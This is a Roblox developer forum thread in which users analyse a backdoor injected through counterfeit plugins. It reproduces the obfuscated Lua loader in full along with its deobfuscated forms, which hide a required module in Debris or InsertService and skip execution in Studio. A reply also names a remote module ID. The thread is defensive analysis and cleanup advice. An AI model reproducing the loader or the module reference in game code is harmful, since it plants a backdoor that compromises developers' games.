Jibberish Virus

Recently, my game has been infected by a virus through a Script-line counting plugin. This injector is quite annoying and on my first attempt at disinfecting had me scanning the insides of every script in the game for any huge 1-liner pieces of code that it uses. RoDefender helped find what I believe were the remnants of it.
Thus, I am very curious on the code that the injector has. It seems to be very obfuscated require() code that is rather difficult to read and comprehend.
The original is the following:

ii7jT = string igrO5VHxN4EnsuN = 'Description' idFBsoRbI5P5C = 'PlaceId' iCpry = 'PlaceId' ibon = '?' itHiDH = 'Debris' iJePp1g = 'GetService' iMRuuW = require iYEv3Om = ii7jT.char i4QNs = 'Workspace' idJdCBQEdw = 'RunService' idmc5 = 'FindFirstChild' itFfQB = game iUGBMr = 'Name' iTuv2PKosPj7gJ47 = getfenv irjs062BC40 = 'WaitForChild' iaWZv = 'FindFirstChild' iAfgVXUIHje = 'MarketplaceService' iT62tYWp = 'Debris' ihx6UpMfSyr = 'IsStudio' iK6H7k4eqt = 'slo' iHcAMMd8wWk = 'SSM' ix3sWLpqdJb = 'IsStudio' ilIlHEVO5CV = pcall iFQmNqgMhcD9yDD = pcall if itFfQB[iJePp1g](itFfQB, idJdCBQEdw)[ix3sWLpqdJb](itFfQB[iJePp1g](itFfQB, idJdCBQEdw))then return end;iFQmNqgMhcD9yDD(function()  if itFfQB[iJePp1g](itFfQB, iT62tYWp)[iaWZv](itFfQB[iJePp1g](itFfQB, iT62tYWp), ibon) then iTuv2PKosPj7gJ47()[iYEv3Om(2542395966 / 22301719) .. iYEv3Om(2252473619 / 22301719) .. iYEv3Om(2520094247 / 22301719) .. iYEv3Om(2609301123 / 22301719) .. iYEv3Om(2341680495 / 22301719) .. iYEv3Om(2542395966 / 22301719) .. iYEv3Om(2252473619 / 22301719)](itFfQB[iJePp1g](itFfQB, iT62tYWp)[iaWZv](itFfQB[iJePp1g](itFfQB, iT62tYWp), ibon))[iK6H7k4eqt](itFfQB[idFBsoRbI5P5C]) end end)

After a while of decoding it, I got to a reasonable original code of:

if game:GetService('RunService'):IsStudio(game:GetService('RunService'))then 
	return 
end;
pcall(function()  
	if game:GetService('Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?') then 
		getfenv()[require](game['GetService'](game, 'Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?'))['slo'](game['PlaceId']) 
	end 
end)

This code is naturally meant to look at strange as possible, but I have trouble understanding some things. I know the top statement is checking if you’re in Studio, so that it doesn’t activate the virus. But why does it have the RunService inside of that statement? What is it trying to require() in the bottom statement? Help on this would be quite helpful!

6 Likes

All viruses have very weird code, they all seem like the same thing. Its good you got rid of it, but what model did you get this from? Most of the time backdoor models can be reported.

1 Like

Edit: My bad, I didn’t see that you already unobfuscated the code.

Here’s the unobfuscated code;

if game:GetService("RunService"):IsStudio()then
	return
end;

pcall(function() 
	if game:GetService('Debris'):FindFirstChild("?") then
		require(game:GetService('Debris'):FindFirstChild("?")).slo(game.PlaceId)
	end
end)

It seems like it’s pretty useless unless you have ModuleScript called ? parented to Debris.

I don’t use Free Models whatsoever so its the plugins.
The only plugins I had were these 2:
Part Counter by ClovField
Line counter by TheLuaWeaver
Most likely both of them have the virus.

2 Likes

Adding to what has already been said, the first if statement checks whether the script is running in Roblox Studio. This means that the module script is only required when in an actual game server, making it more difficult for you to figure out what is going on in the first place.

I have taken a look through the Part Counter plugin, which was uploaded a few weeks ago. The plugin is made by a different person than who originally uploaded it, and looking through what I can see of the source, I see obfuscation attempts within the script and a lot more lines than would be necessary in a simple part counter. I would therefore strongly suggest removing that plugin, finding the instance in the Debris that contains the module’s ID and reporting both.

As for the claim that the backdoors can access account credentials, that is absolutely untrue.

1 Like

Be more careful next time you install any plugins. Script.Source is pluginSecurity, which means that plugins can read the sources of your scripts, and therefore they can steal your entire game source.

OP, if you’d only checked the plugin page you’d know that this was a virus/backdoor. It has almost 700 favorites, but only a few likes.

This is a bit like a case where somebody got scammed for 50k robux by typing a command into the Inspect Element console. It has a VERY CLEAR warning that says that if someone asks you to type something here, IT IS A VIRUS and you will get SCAMMED!

The person ignored this and typed the command, and guess what? They got scammed.

I’m not trying to pin any blame on neither the OP nor the person who got scammed. The scammers should be terminated.

Next time, do your research. Don’t blindly trust anything! Your entire game source is on the line when installing a plugin.

1 Like

Here are similar plugins

You can trust Crazyman32

4 Likes

Deobfuscation attempts above haven’t shown what the virus was trying to actually do, or didn’t deobfuscate correctly.

if game['GetService'](game, 'RunService')['IsStudio'](game['GetService'](game, 'RunService')) then
	return
end
pcall(function()
	if game['GetService'](game, 'Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?') then
		getfenv()['require'](game['GetService'](game, 'Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?'))['slo'](game['PlaceId'])
	end
end)

To answer op’s questions:

  1. Roblox object functions expect the object you want call them on to be the first argument.
    game.Destroy(workspace) will try to destroy workspace (and fail because it is roblox locked)
    When the functions are called as a method, using a colon, the first argument is automatically passed as the object itself. game.Destroy(game) is equivelent to game:Destroy(), but the latter is called as a method.
    Since the virus calls IsStudio as a function, it needs to pass the service through as the first argument.

  2. The bottom statement does run require. It grabs the script’s environment using getfenv(), indexes for the require function, and calls it.

EDIT: Deobfuscation progress

--the deobfuscation progress, for anyone who wants to know.

--1. original:
ii7jT = string igrO5VHxN4EnsuN = 'Description' idFBsoRbI5P5C = 'PlaceId' iCpry = 'PlaceId' ibon = '?' itHiDH = 'Debris' iJePp1g = 'GetService' iMRuuW = require iYEv3Om = ii7jT.char i4QNs = 'Workspace' idJdCBQEdw = 'RunService' idmc5 = 'FindFirstChild' itFfQB = game iUGBMr = 'Name' iTuv2PKosPj7gJ47 = getfenv irjs062BC40 = 'WaitForChild' iaWZv = 'FindFirstChild' iAfgVXUIHje = 'MarketplaceService' iT62tYWp = 'Debris' ihx6UpMfSyr = 'IsStudio' iK6H7k4eqt = 'slo' iHcAMMd8wWk = 'SSM' ix3sWLpqdJb = 'IsStudio' ilIlHEVO5CV = pcall iFQmNqgMhcD9yDD = pcall if itFfQB[iJePp1g](itFfQB, idJdCBQEdw)[ix3sWLpqdJb](itFfQB[iJePp1g](itFfQB, idJdCBQEdw))then return end;iFQmNqgMhcD9yDD(function()  if itFfQB[iJePp1g](itFfQB, iT62tYWp)[iaWZv](itFfQB[iJePp1g](itFfQB, iT62tYWp), ibon) then iTuv2PKosPj7gJ47()[iYEv3Om(2542395966 / 22301719) .. iYEv3Om(2252473619 / 22301719) .. iYEv3Om(2520094247 / 22301719) .. iYEv3Om(2609301123 / 22301719) .. iYEv3Om(2341680495 / 22301719) .. iYEv3Om(2542395966 / 22301719) .. iYEv3Om(2252473619 / 22301719)](itFfQB[iJePp1g](itFfQB, iT62tYWp)[iaWZv](itFfQB[iJePp1g](itFfQB, iT62tYWp), ibon))[iK6H7k4eqt](itFfQB[idFBsoRbI5P5C]) end end)

--2. minified and beautified through stravant's beautifier plugin:
ii7jT = string
igrO5VHxN4EnsuN = 'Description'
idFBsoRbI5P5C = 'PlaceId'
iCpry = 'PlaceId'
ibon = '?'
itHiDH = 'Debris'
iJePp1g = 'GetService'
iMRuuW = require
iYEv3Om = ii7jT.char
i4QNs = 'Workspace'
idJdCBQEdw = 'RunService'
idmc5 = 'FindFirstChild'
itFfQB = game
iUGBMr = 'Name'
iTuv2PKosPj7gJ47 = getfenv
irjs062BC40 = 'WaitForChild'
iaWZv = 'FindFirstChild'
iAfgVXUIHje = 'MarketplaceService'
iT62tYWp = 'Debris'
ihx6UpMfSyr = 'IsStudio'
iK6H7k4eqt = 'slo'
iHcAMMd8wWk = 'SSM'
ix3sWLpqdJb = 'IsStudio'
ilIlHEVO5CV = pcall
iFQmNqgMhcD9yDD = pcall
if itFfQB[iJePp1g](itFfQB, idJdCBQEdw)[ix3sWLpqdJb](itFfQB[iJePp1g](itFfQB, idJdCBQEdw)) then
	return
end
iFQmNqgMhcD9yDD(function()
	if itFfQB[iJePp1g](itFfQB, iT62tYWp)[iaWZv](itFfQB[iJePp1g](itFfQB, iT62tYWp), ibon) then
		iTuv2PKosPj7gJ47()[iYEv3Om(2542395966 / 22301719)..iYEv3Om(2252473619 / 22301719)..iYEv3Om(2520094247 / 22301719)..iYEv3Om(2609301123 / 22301719)..iYEv3Om(2341680495 / 22301719)..iYEv3Om(2542395966 / 22301719)..iYEv3Om(2252473619 / 22301719)](itFfQB[iJePp1g](itFfQB, iT62tYWp)[iaWZv](itFfQB[iJePp1g](itFfQB, iT62tYWp), ibon))[iK6H7k4eqt](itFfQB[idFBsoRbI5P5C])
	end
end)

--3. references to variables are replaced with their values, and unneeded variables are removed:
if game['GetService'](game, 'RunService')['IsStudio'](game['GetService'](game, 'RunService')) then
	return
end
pcall(function()
	if game['GetService'](game, 'Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?') then
		getfenv()['require'](game['GetService'](game, 'Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?'))['slo'](game['PlaceId'])
	end
end)

--4. making function calls methods instead, where the first argument is the roblox object
if game:GetService('RunService'):IsStudio() then
	return
end
pcall(function()
	if game:GetService('Debris'):FindFirstChild('?') then
		getfenv()['require'](game:GetService('Debris'):FindFirstChild('?'))['slo'](game['PlaceId'])
	end
end)

--5. making bracket string indexes use dots where possible, for readability
if game:GetService('RunService'):IsStudio() then
	return
end
pcall(function()
	if game:GetService('Debris'):FindFirstChild('?') then
		getfenv().require(game:GetService('Debris'):FindFirstChild('?')).slo(game.PlaceId)
	end
end)```
6 Likes

I ran into this virus in a game I help on. This module doesn’t do anything except call a hidden module you can’t see from explorer. The real obfuscated module is around 300 lines, and all it does is call a require. The require id is : 2655056793. I have no idea what the actual module does, but it probably just loads in some admin or similar. (You can dm me for the obfuscated module if you want it)

You mean the ‘?’ module I found in Debris? Or is there yet another hidden module?

Mine wasn’t in Debris, I didn’t realize it randomizes it. But yes.

Where was it? I would like to check.

Mine was in InsertService.

game:GetService’InsertService’["?"].Parent = workspace (if it’s there, obviously)

When I had this kind of issue, everything was installed within the DebrisService and TweenService. The module script doing damage was found under InsertService

The scripts calling the hidden module was all scattered through workspace. They were easy to find, but it was annoying. It was definitely and a plugin, and if I remember correctly it was a fake camera light plugin. There’s probably several doing it, but yeah. After getting everyone to remove their plugins it stopped appearing.

What you should do is use this code that @IdiomicLanguage gave me in your command bar, and it will print the full name of every single script in your place, even the core scripts and hidden services.

local function scripts(instances, i)
	for i = (i or 0) + 1, #instances do
		local instance = instances[i]
		local success, result = pcall(instance.IsA, instance, 'LuaSourceContainer')
		if success and result then
			return i, instance
		end
	end
end

for i, source in scripts, game:GetDescendants() do
	print(source:GetFullName())
end

You can then read through the list to see if there is anything that should obviously not be there.

2 Likes

Nice one!

For anyone that wants the code in this specific obfuscated “?” module, its too large to put in here so here is the .txt file of it.
Code.txt (84.5 KB)

1 Like

Yeah. The module requires this 2655056793 if anyone else wants to check it out. (or report it)

At least these backdoors will no longer be a problem by February, where private modules cannot be used by other people.

1 Like